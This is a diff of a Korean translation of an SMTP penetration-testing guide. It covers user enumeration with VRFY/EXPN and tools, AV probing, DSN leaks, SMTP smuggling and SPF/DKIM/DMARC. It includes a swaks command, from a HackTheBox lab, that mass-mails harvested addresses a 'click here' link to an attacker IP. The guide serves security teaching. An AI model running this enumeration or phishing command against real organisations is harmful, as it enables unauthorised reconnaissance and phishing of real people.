ํ—ˆ์šฉ๋œ ์ฃผ์†Œ์—์„œ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๊ณ  (SPF ์ •์ฑ…์„ ํ™•์ธํ•˜์„ธ์š”) NDN ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -๋˜ํ•œ **๋‹ค์–‘ํ•œ ๋‚ด์šฉ์„ ๋ณด๋‚ด๋ณด์„ธ์š”. ์™œ๋ƒํ•˜๋ฉด ํ—ค๋”์—์„œ ๋” ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค**: `X-Virus-Scanned: by av.domain.com`\ +๋˜ํ•œ **๋‹ค์–‘ํ•œ ๋‚ด์šฉ์„ ๋ณด๋‚ด๋ณด์„ธ์š”. ํ—ค๋”์—์„œ ๋” ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: `X-Virus-Scanned: by av.domain.com`\ EICAR ํ…Œ์ŠคํŠธ ํŒŒ์ผ์„ ๋ณด๋‚ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ **AV**๋ฅผ ๊ฐ์ง€ํ•˜๋ฉด **์•Œ๋ ค์ง„ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** @@ -81,13 +81,13 @@ EHLO all MAIL FROM: me 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK ``` -### ์Šค๋‹ˆํ•‘ +### Sniffing -ํฌํŠธ 25๋กœ ์ „์†ก๋œ ํŒจํ‚ท์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์Šค๋‹ˆํ•‘ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. +ํฌํŠธ 25์˜ ํŒจํ‚ท์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์Šค๋‹ˆํ•‘ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. -### [์ธ์ฆ ๋ธŒ๋ฃจํŠธํฌ์Šค](../../generic-hacking/brute-force.md#smtp) +### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp) -## ์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋ธŒ๋ฃจํŠธํฌ์Šค ์—ด๊ฑฐ +## Username Bruteforce Enumeration **์ธ์ฆ์ด ํ•ญ์ƒ ํ•„์š”ํ•˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค.** @@ -142,7 +142,7 @@ EXPN root EXPN sshd 250 2.1.5 sshd privsep sshd@myhost ``` -### ์ž๋™ ๋„๊ตฌ +### ์ž๋™ํ™” ๋„๊ตฌ ``` Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t @@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users ``` ## DSN ๋ณด๊ณ ์„œ -**๋ฐฐ๋‹ฌ ์ƒํƒœ ์•Œ๋ฆผ ๋ณด๊ณ ์„œ**: ์กฐ์ง์— **์ž˜๋ชป๋œ ์ฃผ์†Œ**๋กœ **์ด๋ฉ”์ผ**์„ ๋ณด๋‚ด๋ฉด, ํ•ด๋‹น ์กฐ์ง์€ ์ฃผ์†Œ๊ฐ€ ์ž˜๋ชป๋˜์—ˆ๋‹ค๊ณ  **๋ฉ”์ผ์„ ๋‹ค์‹œ ๋ณด๋‚ด** ์•Œ๋ ค์ค๋‹ˆ๋‹ค. ๋ฐ˜ํ™˜๋œ ์ด๋ฉ”์ผ์˜ **ํ—ค๋”**์—๋Š” ๊ฐ€๋Šฅํ•œ **๋ฏผ๊ฐํ•œ ์ •๋ณด**(๋ณด๊ณ ์„œ์™€ ์ƒํ˜ธ์ž‘์šฉํ•œ ๋ฉ”์ผ ์„œ๋น„์Šค์˜ IP ์ฃผ์†Œ๋‚˜ ์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค ์†Œํ”„ํŠธ์›จ์–ด ์ •๋ณด ๋“ฑ)๊ฐ€ **ํฌํ•จ**๋ฉ๋‹ˆ๋‹ค. +**์ „๋‹ฌ ์ƒํƒœ ์•Œ๋ฆผ ๋ณด๊ณ ์„œ**: ์กฐ์ง์— **์ž˜๋ชป๋œ ์ฃผ์†Œ**๋กœ **์ด๋ฉ”์ผ**์„ ๋ณด๋‚ด๋ฉด, ํ•ด๋‹น ์กฐ์ง์€ ์ฃผ์†Œ๊ฐ€ ์ž˜๋ชป๋˜์—ˆ๋‹ค๋Š” ๊ฒƒ์„ **๋ฉ”์ผ์„ ๋‹ค์‹œ ๋ณด๋‚ด** ์•Œ๋ ค์ค๋‹ˆ๋‹ค. ๋ฐ˜ํ™˜๋œ ์ด๋ฉ”์ผ์˜ **ํ—ค๋”**์—๋Š” ๊ฐ€๋Šฅํ•œ **๋ฏผ๊ฐํ•œ ์ •๋ณด**(๋ณด๊ณ ์„œ์™€ ์ƒํ˜ธ์ž‘์šฉํ•œ ๋ฉ”์ผ ์„œ๋น„์Šค์˜ IP ์ฃผ์†Œ๋‚˜ ์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค ์†Œํ”„ํŠธ์›จ์–ด ์ •๋ณด ๋“ฑ)๊ฐ€ **ํฌํ•จ**๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## [๋ช…๋ น์–ด](smtp-commands.md) @@ -168,7 +168,7 @@ If you are manually typing in a message: ```bash swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` -### Python์œผ๋กœ ์ด๋ฉ”์ผ ๋ณด๋‚ด๊ธฐ +### ์ด๋ฉ”์ผ ์ „์†กํ•˜๊ธฐ with Python
@@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To'])) ## SMTP ์Šค๋จธ๊ธ€๋ง -SMTP ์Šค๋จธ๊ธ€๋ง ์ทจ์•ฝ์ ์€ ๋ชจ๋“  SMTP ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค(๋ณดํ˜ธ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ ์„น์…˜์„ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค). SMTP ์Šค๋จธ๊ธ€๋ง์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค: +SMTP ์Šค๋จธ๊ธ€๋ง ์ทจ์•ฝ์ ์€ ๋ชจ๋“  SMTP ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค(๋ณดํ˜ธ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ ์„น์…˜์„ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค). SMTP ์Šค๋จธ๊ธ€๋ง์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค: {{#ref}} smtp-smuggling.md @@ -227,9 +227,9 @@ smtp-smuggling.md ## ๋ฉ”์ผ ์Šคํ‘ธํ•‘ ๋Œ€์‘์ฑ… -์กฐ์ง์€ SMTP ๋ฉ”์‹œ์ง€๋ฅผ ์Šคํ‘ธํ•‘ํ•˜๋Š” ๊ฒƒ์ด ์šฉ์ดํ•˜๊ธฐ ๋•Œ๋ฌธ์— **SPF**, **DKIM**, ๋ฐ **DMARC**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ทธ๋“ค์˜ ์ด๋ฆ„์œผ๋กœ ๋ฌด๋‹จ ์ด๋ฉ”์ผ์ด ๋ฐœ์†ก๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. +์กฐ์ง์€ **SPF**, **DKIM**, **DMARC**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ SMTP ๋ฉ”์‹œ์ง€๋ฅผ ์Šคํ‘ธํ•‘ํ•˜๋Š” ๊ฒƒ์ด ์šฉ์ดํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ๋“ค์˜ ์ด๋ฆ„์œผ๋กœ ๋ฌด๋‹จ ์ด๋ฉ”์ผ์ด ์ „์†ก๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. -**์ด ๋Œ€์‘์ฑ…์— ๋Œ€ํ•œ ์™„์ „ํ•œ ๊ฐ€์ด๋“œ**๋Š” [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)์—์„œ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. +**์ด ๋Œ€์‘์ฑ…์— ๋Œ€ํ•œ ์™„์ „ํ•œ ๊ฐ€์ด๋“œ**๋Š” [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### SPF @@ -237,7 +237,7 @@ smtp-smuggling.md > SPF [๋Š” 2014๋…„์— "์‚ฌ์šฉ ์ค‘๋‹จ"๋˜์—ˆ์Šต๋‹ˆ๋‹ค](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). ์ด๋Š” `_spf.domain.com`์— **TXT ๋ ˆ์ฝ”๋“œ**๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋Œ€์‹  `domain.com`์— **๋™์ผํ•œ ๊ตฌ๋ฌธ**์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑํ•ด์•ผ ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.\ > ๋˜ํ•œ, ์ด์ „ SPF ๋ ˆ์ฝ”๋“œ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด `"v=spf1 include:_spf.google.com ~all"`๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ์ฐพ๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค. -**๋ฐœ์‹ ์ž ์ •์ฑ… ํ”„๋ ˆ์ž„์›Œํฌ**(SPF)๋Š” ๋ฉ”์ผ ์ „์†ก ์—์ด์ „ํŠธ(MTA)๊ฐ€ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๋Š” ํ˜ธ์ŠคํŠธ๊ฐ€ ์กฐ์ง์—์„œ ์ •์˜ํ•œ ์Šน์ธ๋œ ๋ฉ”์ผ ์„œ๋ฒ„ ๋ชฉ๋ก์„ ์กฐํšŒํ•˜์—ฌ ์ธ์ฆ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ์ด ๋ชฉ๋ก์€ **๋„๋ฉ”์ธ ์ด๋ฆ„์„ ๋Œ€์‹ ํ•˜์—ฌ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋Š”** IP ์ฃผ์†Œ/๋ฒ”์œ„, ๋„๋ฉ”์ธ ๋ฐ ๊ธฐํƒ€ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์ง€์ •ํ•˜๋ฉฐ, SPF ๋ ˆ์ฝ”๋“œ์— ๋‹ค์–‘ํ•œ "**๋ฉ”์ปค๋‹ˆ์ฆ˜**"์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. +**๋ฐœ์‹ ์ž ์ •์ฑ… ํ”„๋ ˆ์ž„์›Œํฌ**(SPF)๋Š” ๋ฉ”์ผ ์ „์†ก ์—์ด์ „ํŠธ(MTA)๊ฐ€ ์ด๋ฉ”์ผ์„ ์ „์†กํ•˜๋Š” ํ˜ธ์ŠคํŠธ๊ฐ€ ์กฐ์ง์—์„œ ์ •์˜ํ•œ ์Šน์ธ๋œ ๋ฉ”์ผ ์„œ๋ฒ„ ๋ชฉ๋ก์„ ์ฟผ๋ฆฌํ•˜์—ฌ ์ธ์ฆ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ์ด ๋ชฉ๋ก์€ **๋„๋ฉ”์ธ ์ด๋ฆ„์„ ๋Œ€์‹ ํ•˜์—ฌ ์ด๋ฉ”์ผ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ๋Š”** IP ์ฃผ์†Œ/๋ฒ”์œ„, ๋„๋ฉ”์ธ ๋ฐ ๊ธฐํƒ€ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์ง€์ •ํ•˜๋ฉฐ, SPF ๋ ˆ์ฝ”๋“œ์— ๋‹ค์–‘ํ•œ "**๋ฉ”์ปค๋‹ˆ์ฆ˜**"์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. #### ๋ฉ”์ปค๋‹ˆ์ฆ˜ @@ -250,9 +250,9 @@ smtp-smuggling.md | IP4 | ๋ฐœ์‹ ์ž๊ฐ€ ์ฃผ์–ด์ง„ IPv4 ์ฃผ์†Œ ๋ฒ”์œ„์— ์žˆ๋Š” ๊ฒฝ์šฐ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค. | | IP6 | ๋ฐœ์‹ ์ž๊ฐ€ ์ฃผ์–ด์ง„ IPv6 ์ฃผ์†Œ ๋ฒ”์œ„์— ์žˆ๋Š” ๊ฒฝ์šฐ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค. | | MX | ๋„๋ฉ”์ธ ์ด๋ฆ„์— ๋ฐœ์‹ ์ž์˜ ์ฃผ์†Œ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” MX ๋ ˆ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค(์ฆ‰, ๋ฉ”์ผ์ด ๋„๋ฉ”์ธ์˜ ์ˆ˜์‹  ๋ฉ”์ผ ์„œ๋ฒ„ ์ค‘ ํ•˜๋‚˜์—์„œ ์˜ต๋‹ˆ๋‹ค). | -| PTR | ํด๋ผ์ด์–ธํŠธ ์ฃผ์†Œ์˜ ๋„๋ฉ”์ธ ์ด๋ฆ„(PTR ๋ ˆ์ฝ”๋“œ)์ด ์ฃผ์–ด์ง„ ๋„๋ฉ”์ธ์— ์žˆ๊ณ  ํ•ด๋‹น ๋„๋ฉ”์ธ ์ด๋ฆ„์ด ํด๋ผ์ด์–ธํŠธ ์ฃผ์†Œ๋กœ ํ™•์ธ๋˜๋Š” ๊ฒฝ์šฐ(์ •๋ฐฉํ–ฅ ํ™•์ธ๋œ ์—ญ DNS), ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ ๊ฐ€๋Šฅํ•˜๋ฉด ํ”ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. | -| EXISTS | ์ฃผ์–ด์ง„ ๋„๋ฉ”์ธ ์ด๋ฆ„์ด ์–ด๋–ค ์ฃผ์†Œ๋กœ๋„ ํ™•์ธ๋˜๋Š” ๊ฒฝ์šฐ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค(์–ด๋–ค ์ฃผ์†Œ๋กœ ํ™•์ธ๋˜๋“  ์ƒ๊ด€์—†์Œ). ์ด๋Š” ๋“œ๋ฌผ๊ฒŒ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. SPF ๋งคํฌ๋กœ ์–ธ์–ด์™€ ํ•จ๊ป˜ DNSBL ์ฟผ๋ฆฌ์™€ ๊ฐ™์€ ๋” ๋ณต์žกํ•œ ์ผ์น˜๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. | -| INCLUDE | ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ์ •์ฑ…์„ ์ฐธ์กฐํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ๋„๋ฉ”์ธ์˜ ์ •์ฑ…์ด ํ†ต๊ณผํ•˜๋ฉด ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜๋„ ํ†ต๊ณผํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํฌํ•จ๋œ ์ •์ฑ…์ด ์‹คํŒจํ•˜๋ฉด ์ฒ˜๋ฆฌ๊ฐ€ ๊ณ„์†๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ์ •์ฑ…์— ์™„์ „ํžˆ ์œ„์ž„ํ•˜๋ ค๋ฉด ๋ฆฌ๋””๋ ‰์…˜ ํ™•์žฅ์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. | +| PTR | ํด๋ผ์ด์–ธํŠธ ์ฃผ์†Œ์˜ ๋„๋ฉ”์ธ ์ด๋ฆ„(PTR ๋ ˆ์ฝ”๋“œ)์ด ์ฃผ์–ด์ง„ ๋„๋ฉ”์ธ์— ์žˆ๊ณ  ํ•ด๋‹น ๋„๋ฉ”์ธ ์ด๋ฆ„์ด ํด๋ผ์ด์–ธํŠธ ์ฃผ์†Œ๋กœ ํ™•์ธ๋˜๋Š” ๊ฒฝ์šฐ(์ •๋ฐฉํ–ฅ ํ™•์ธ๋œ ์—ญ DNS) ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ ๊ฐ€๋Šฅํ•˜๋ฉด ํ”ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. | +| EXISTS | ์ฃผ์–ด์ง„ ๋„๋ฉ”์ธ ์ด๋ฆ„์ด ์–ด๋–ค ์ฃผ์†Œ๋กœ๋„ ํ™•์ธ๋˜๋Š” ๊ฒฝ์šฐ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค(ํ™•์ธ๋˜๋Š” ์ฃผ์†Œ์— ๊ด€๊ณ„์—†์ด). ์ด๋Š” ๋“œ๋ฌผ๊ฒŒ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. SPF ๋งคํฌ๋กœ ์–ธ์–ด์™€ ํ•จ๊ป˜ DNSBL ์ฟผ๋ฆฌ์™€ ๊ฐ™์€ ๋” ๋ณต์žกํ•œ ์ผ์น˜๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. | +| INCLUDE | ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ์ •์ฑ…์„ ์ฐธ์กฐํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ๋„๋ฉ”์ธ์˜ ์ •์ฑ…์ด ํ†ต๊ณผํ•˜๋ฉด ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜๋„ ํ†ต๊ณผํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํฌํ•จ๋œ ์ •์ฑ…์ด ์‹คํŒจํ•˜๋ฉด ์ฒ˜๋ฆฌ๋Š” ๊ณ„์†๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ์ •์ฑ…์— ์™„์ „ํžˆ ์œ„์ž„ํ•˜๋ ค๋ฉด ๋ฆฌ๋””๋ ‰์…˜ ํ™•์žฅ์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. | | REDIRECT |

๋ฆฌ๋””๋ ‰์…˜์€ SPF ์ •์ฑ…์„ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ๋‹ค๋ฅธ ๋„๋ฉ”์ธ ์ด๋ฆ„์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋กœ, ์—ฌ๋Ÿฌ ๋„๋ฉ”์ธ์ด ๋™์ผํ•œ SPF ์ •์ฑ…์„ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋Š” ๋™์ผํ•œ ์ด๋ฉ”์ผ ์ธํ”„๋ผ๋ฅผ ๊ณต์œ ํ•˜๋Š” ๋งŽ์€ ๋„๋ฉ”์ธ๊ณผ ์ž‘์—…ํ•  ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋ฆฌ๋””๋ ‰์…˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์— ํ‘œ์‹œ๋œ ๋„๋ฉ”์ธ์˜ SPF ์ •์ฑ…์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

| **์ •๋Ÿ‰์ž**๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์ด๋Š” **๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์ผ์น˜ํ•  ๊ฒฝ์šฐ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•  ์ž‘์—…**์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ **์ •๋Ÿ‰์ž "+"**๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค(๋”ฐ๋ผ์„œ ์–ด๋–ค ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์ผ์น˜ํ•˜๋ฉด ํ—ˆ์šฉ๋œ๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค).\ @@ -260,7 +260,7 @@ smtp-smuggling.md #### ์ •๋Ÿ‰์ž -์ •์ฑ… ๋‚ด์˜ ๊ฐ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์˜๋„๋œ ๊ฒฐ๊ณผ๋ฅผ ์ •์˜ํ•˜๊ธฐ ์œ„ํ•ด ๋„ค ๊ฐ€์ง€ ์ •๋Ÿ‰์ž ์ค‘ ํ•˜๋‚˜๋กœ ์ ‘๋‘์‚ฌ๋ฅผ ๋ถ™์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ •์ฑ… ๋‚ด์˜ ๊ฐ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์˜๋„๋œ ๊ฒฐ๊ณผ๋ฅผ ์ •์˜ํ•˜๊ธฐ ์œ„ํ•ด ๋„ค ๊ฐ€์ง€ ์ •๋Ÿ‰์ž ์ค‘ ํ•˜๋‚˜๋กœ ์ ‘๋‘์‚ฌ๊ฐ€ ๋ถ™์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - **`+`**: PASS ๊ฒฐ๊ณผ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์ด ์ •๋Ÿ‰์ž๋ฅผ ๊ฐ€์ •ํ•˜๋ฏ€๋กœ `+mx`๋Š” `mx`์™€ ๋™์ผํ•ฉ๋‹ˆ๋‹ค. - **`?`**: NEUTRAL ๊ฒฐ๊ณผ๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, NONE(ํŠน์ • ์ •์ฑ… ์—†์Œ)๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. @@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1 DKIM์€ ์•„์›ƒ๋ฐ”์šด๋“œ ์ด๋ฉ”์ผ์— ์„œ๋ช…ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ์™ธ๋ถ€ ๋ฉ”์ผ ์ „์†ก ์—์ด์ „ํŠธ(MTA)๊ฐ€ DNS์—์„œ ๋„๋ฉ”์ธ์˜ ๊ณต๊ฐœ ํ‚ค๋ฅผ ๊ฒ€์ƒ‰ํ•˜์—ฌ ์ด๋ฅผ ๊ฒ€์ฆํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณต๊ฐœ ํ‚ค๋Š” ๋„๋ฉ”์ธ์˜ TXT ๋ ˆ์ฝ”๋“œ์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ‚ค์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ์„ ํƒ์ž์™€ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ๋ชจ๋‘ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. -์˜ˆ๋ฅผ ๋“ค์–ด, ํ‚ค๋ฅผ ์š”์ฒญํ•˜๋ ค๋ฉด ๋„๋ฉ”์ธ ์ด๋ฆ„๊ณผ ์„ ํƒ์ž๊ฐ€ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๋ฉ”์ผ ํ—ค๋” `DKIM-Signature`์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, ์˜ˆ: `d=gmail.com;s=20120113`. +์˜ˆ๋ฅผ ๋“ค์–ด, ํ‚ค๋ฅผ ์š”์ฒญํ•˜๋ ค๋ฉด ๋„๋ฉ”์ธ ์ด๋ฆ„๊ณผ ์„ ํƒ์ž๊ฐ€ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋Š” ๋ฉ”์ผ ํ—ค๋” `DKIM-Signature`์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: `d=gmail.com;s=20120113`. ์ด ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash @@ -325,39 +325,39 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA | ํƒœ๊ทธ ์ด๋ฆ„ | ๋ชฉ์  | ์ƒ˜ํ”Œ | | -------- | --------------------------------------------- | ------------------------------- | | v | ํ”„๋กœํ† ์ฝœ ๋ฒ„์ „ | v=DMARC1 | -| pct | ํ•„ํ„ฐ๋ง์— ์ ์šฉ๋˜๋Š” ๋ฉ”์‹œ์ง€์˜ ๋น„์œจ | pct=20 | -| ruf | ํฌ๋ Œ์‹ ๋ณด๊ณ ์„œ์šฉ ๋ณด๊ณ  URI | ruf=mailto:authfail@example.com | +| pct | ํ•„ํ„ฐ๋ง ๋Œ€์ƒ ๋ฉ”์‹œ์ง€์˜ ๋น„์œจ | pct=20 | +| ruf | ํฌ๋ Œ์‹ ๋ณด๊ณ ์„œ์˜ ๋ณด๊ณ  URI | ruf=mailto:authfail@example.com | | rua | ์ง‘๊ณ„ ๋ณด๊ณ ์„œ์˜ ๋ณด๊ณ  URI | rua=mailto:aggrep@example.com | | p | ์กฐ์ง ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ์ •์ฑ… | p=quarantine | | sp | OD์˜ ์„œ๋ธŒ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ์ •์ฑ… | sp=reject | -| adkim | DKIM์— ๋Œ€ํ•œ ์ •๋ ฌ ๋ชจ๋“œ | adkim=s | -| aspf | SPF์— ๋Œ€ํ•œ ์ •๋ ฌ ๋ชจ๋“œ | aspf=r | +| adkim | DKIM์˜ ์ •๋ ฌ ๋ชจ๋“œ | adkim=s | +| aspf | SPF์˜ ์ •๋ ฌ ๋ชจ๋“œ | aspf=r | ### **์„œ๋ธŒ๋„๋ฉ”์ธ์€ ์–ด๋–ป๊ฒŒ ๋˜๋‚˜์š”?** **์—ฌ๊ธฐ์„œ** [**๋ณด์„ธ์š”**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ -๋ฉ”์ผ์„ ๋ณด๋‚ด๊ณ ์ž ํ•˜๋Š” ๊ฐ ์„œ๋ธŒ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ๋ณ„๋„์˜ SPF ๋ ˆ์ฝ”๋“œ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.\ +๋ฉ”์ผ์„ ๋ณด๋‚ด๊ณ ์ž ํ•˜๋Š” ๊ฐ ์„œ๋ธŒ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ๋ณ„๋„์˜ SPF ๋ ˆ์ฝ”๋“œ๋ฅผ ๊ฐ€์ ธ์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ ๋‹ค์Œ ๋‚ด์šฉ์€ ์›๋ž˜ openspf.org์— 